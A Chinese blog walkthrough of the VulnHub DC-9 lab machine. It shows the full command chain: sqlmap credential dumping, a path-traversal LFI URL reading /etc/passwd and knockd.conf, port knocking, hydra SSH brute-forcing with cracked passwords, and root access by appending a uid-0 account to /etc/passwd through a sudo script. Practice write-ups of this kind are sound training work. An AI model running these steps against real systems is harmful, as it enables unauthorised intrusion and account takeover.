VulnHub通关日记-DC_9-Walkthrough

简介: DC-9是 DC 系列的最后一个靶机了,这项挑战的最终目标是扎根并读取唯一的标志。

靶机介绍

DC-9DC 系列的最后一个靶机了,这项挑战的最终目标是扎根并读取唯一的标志。

这个靶机有点意思,是通过频繁的爆破SSH最终通过写入用户到 passwd 提权才拿到的Flag。

下载地址:https://www.vulnhub.com/entry/dc-9,412/

运用到的知识点

SQL注入获取账号密码 LFI本地文件包含漏洞 knockd的保护SSH机制 绕过knockd限制暴力破解SSH 写入文件到passwd提权

信息搜集

获取到靶机 IP 后先对它进行端口扫描看看它开放了那些服务:


nmap -A -T4 192.168.1.148


图片1 nmap扫描


可以看到,靶机只开放了 80(http),而22(ssh)被过滤了!应该是做了防护!我们先来看看它的 WEB 服务吧:


图片2 80端口


通过查看它的页面我发现它的页面上有一些用户的信息:


图片3 一些用户信息


还有搜索的提交页面:


图片4 搜索的提交页面-1



图片5 搜索的提交页面-2


SQL注入获取账号密码

既然它搜索可以查询到相应到信息,那么说明它吧我们的条件带入数据库里查询了,很有可能会存在SQL注入!

按照我的思路,不管他三七二十一直接丢到Sqlmap里一顿梭哈!我先是使用Burp抓包:


图片6 burp抓包


把抓到的数据包保存到本地 post.txt 文件里:


图片7 将数据包保存于本地


最后丢到Sqlmap里跑发现是存在注入的:


图片8 放到sqlmap里跑发现注入



图片9 发现注入


最终获取到网站后台的管理员账号和密码HASH


sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump


图片10 获取网站后台管理员账号以及密码hash


通过解密得到了账号 admin 的密码为 transorbital1


图片11 解密admin账号密码


LFI本地文件包含漏洞

获取到账号和密码后登陆到了网站到页面,其中发现了 manage.php 页面底部有一个提示引起了我的注意:File does not exist


图片12 底部提示


翻译过来就是文件未找到!这个时候脑子里第一时间想到的就是 LFI!后来通过我 FUZZ 发现真的是存在本地文件包含漏洞:


http://192.168.1.148/manage.php?file=../../../../../../etc/passwd


图片13 本地文件包含


绕过knockd限制暴力破解SSH

可以看到我们可以查看 passwd 文件,而之前我们通过sqlmap获取到了一堆账号和密码,而那些账号和 passwd 里的账号是一样的!那么我们就可以利用获取到的账号和密码挨个去碰撞看看能不能登陆到它的 SSH

我先是把账号和密码保存到了 userpass 里:


图片14 将账号保存到user



图片15 将密码保存到pass中


保存完后我尝试使用 Hydra 去爆破发现它连接请求被拒绝了:


hydra -L user -P pass 192.168.1.148 ssh


图片16 hydra爆破密码


到了这里我们要知道关于 SSH 的三个机制:

如果需要远程访问计算机并启用了 Secure Shell (SSH) 连接,黑客就会尝试突破您的防线并控制您的计算机,您必须接受这个事实。尽管不能保证计算机不会被 “黑客” 占领,但是一些简单的解决方案有助于保护 SSH,可以让攻击困难一些。本文讨论三种技术:




1、把 SSH 的标准端口改为不常用的值并增强 SSH 配置,从而挡住最简单的攻击。2、定义有限的用户列表,只允许这些用户登录。3、完全隐藏允许 SSH 访问的事实,要求根据特殊的 “敲门” 序列识别有效用户。

首先进行排除法我们刚开始就对它进行端口扫描了,它只开放了两个端口,由此判断它的端口没有改变,排除一!

其次我们通过 LFI 发现 passwd 文件让我们得到了 SSH 的用户名,由此判断它的用户名是对的,排除二!

那么估计就是 SSH 被某些手段所隐藏了,我们需要根据特殊的“敲门”才能登陆到用户!这个时候我通过查看了下面这篇文章找到了原因:

https://zhuanlan.zhihu.com/p/43716885

如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockdknockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

既然知道了原理之后我们就知道了如何去应对它了!借助偶像猪猪侠的话:只有对原理了然如心,你才能突破更多的限制!

如果目标服务器上按照了 knockd ,那么默认的配置文件就存放在 /etc/knockd.conf 里!那么我们就可以利用 LFI 去查看这个:


http://192.168.1.148/manage.php?file=../../../../../..//etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

这个时候我们就得到了要“敲门”的序列号为:746984759842!紧接着我在 KALI 中安装了 knockd


apt-get install knockd


图片17 安装knockd


安装完后我们只需要使用 knockd 进行“敲门”就可以使用 hydra 九头蛇爆破了:


knock 192.168.1.148 7469 8475 9842


图片18 利用knockd进行敲门



hydra -L user -P pass 192.168.1.148 ssh


图片19 敲门后用hydra爆破


这个时候就成功爆破出三个用户:




[22][ssh] host: 192.168.1.148   login: janitor   password: Ilovepeepee[22][ssh] host: 192.168.1.148   login: chandlerb   password: UrAG0D![22][ssh] host: 192.168.1.148   login: joeyt   password: Passw0rd

登陆到 janitor 用户后使用一些常规的提权操作后无果,但是我发现了一个隐藏目录,里面存放着一些密码:


BamBam01Passw0rdsmellycatsP0Lic#10-4B4-Tru3-0014uGU5T-NiGHts


图片20 发现隐藏文件夹下存放着一些密码


很显然了作者想让我们挨个去登陆这些用户才能获取到 root !我再次把收集到的密码放到 pass 文件里然后再次爆破:


图片21 根据那些密码继续爆破


回炉再造之后我们又得到了一个用户:


[22][ssh] host: 192.168.1.148   login: fredf   password: B4-Tru3-001

登陆成功后我查看有没有那些 sudo 权限的命令发现了一个 test


图片22 sudo权限命令发现test文件


尝试 sudo 运行这个文件发现它是一个 python 脚本:


图片23 test文件实际是python脚本


写入文件到passwd提权

随后找到了这个文件所在的目录:




find / -name test.py 2>/dev/null
/opt/devstuff/test.py


图片24 找到这个test文件所在目录


查看 test.py 文件得到了它的代码:




#!/usr/bin/python
import sys
if len (sys.argv) != 3 :    print ("Usage: python test.py read append")    sys.exit (1)
else :    f = open(sys.argv[1], "r")    output = (f.read())
    f = open(sys.argv[2], "a")    f.write(output)    f.close()


图片25 test.py文件中的代码


通过代码审计它这个脚本是通过 sys 模块,它是一个简单的数据追加程序。它将使用2个文件作为参数,然后将第一个文件内容附加第二个文件中。

关于 sys 模块大家可以看看这篇文章:https://blog.csdn.net/anndy_/article/details/76824540

最后我们通过 openssl 生成了一个账号密码然后写入到了 passwd

关于 openssl 可以看看这篇文章:https://www.jianshu.com/p/e311a6537467



openssl passwd -1 -salt saul 123456# 生成 passwd 密码的 hash 值


图片26 openssl生成passwd密码的hash值








echo 'saul:$1$saul$HqxyWB6MwTZbm/LiAFFZX.:0:0::/root:/bin/bash' >> /tmp/raj# 在 tmp 创建一个 raj 文件,里面是我们的密码sudo ./test /tmp/raj /etc/passwd# 运行 test 文件 把 raj 里的内容追加到 /etc/passwd 里su saul# 切换用户到 saul 成功获取 root 权限


图片27 拿到flag


最终也是在 /root 目录下拿到了 Flag 文件!

至此 DC 系列靶机已经完结~


VulnHub通关日记-DC_1-Walkthrough

VulnHub通关日记-DC_2-Walkthrough

VulnHub通关日记-DC_3-Walkthrough

VulnHub通关日记-DC_4-Walkthrough

VulnHub通关日记-DC_5-Walkthrough

VulnHub通关日记-DC_6-Walkthrough

VulnHub通关日记-DC_7-Walkthrough

VulnHub通关日记-DC_8-Walkthrough


相关文章
|
12月前
|
SQL 安全 Shell
VulnHub通关日记-DC_7-Walkthrough
DC-7是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。
|
12月前
|
Shell 网络安全 数据安全/隐私保护
VulnHub通关日记-DC_6-Walkthrough
好的,这并不是一个真正的线索,但是对于那些只是想继续工作的人,更多的是“我们不想花五年时间等待某个过程完成”的建议。
|
12月前
|
安全 Shell C语言
VulnHub通关日记-DC_5-Walkthrough
LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root
|
12月前
|
SQL Shell 网络安全
VulnHub通关日记-DC_4-Walkthrough
DC-4是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。
|
12月前
|
Shell Linux 网络安全
VulnHub通关日记-DC_2-Walkthrough
总共有5个Flag,最后一个Flag是在 root 目录下!
|
12月前
|
SQL 安全 关系型数据库
VulnHub通关日记-DC_1-Walkthrough
DC系列的靶机是一个专门构建的易受攻击的实验室,总共有九个!目的是获得渗透测试领域的经验
|
1天前
|
算法
AC/DC电源模块设计原理、优化技术和应用案例三个方面进行阐述
AC/DC电源模块是一种将交流电转换成直流电的设备,广泛应用在各种电子设备中。其设计和优化是为了提高转换效率、降低功耗和提高性能稳定性。本文将从设计原理、优化技术和应用案例三个方面进行阐述。
AC/DC电源模块设计原理、优化技术和应用案例三个方面进行阐述
|
1天前
|
芯片
BOSHIDA AC/DC电源模块的设计与优化
BOSHIDA AC/DC电源模块的设计与优化
BOSHIDA  AC/DC电源模块的设计与优化
|
2天前
|
传感器 安全
BOSHIDA AC/DC电源模块在工业自动化领域的应用探析
BOSHIDA AC/DC电源模块在工业自动化领域的应用探析
BOSHIDA AC/DC电源模块在工业自动化领域的应用探析
|
3天前
|
运维 安全 测试技术
BOSHIDA AC/DC电源模块的故障诊断与维修技巧
BOSHIDA AC/DC电源模块的故障诊断与维修技巧
BOSHIDA  AC/DC电源模块的故障诊断与维修技巧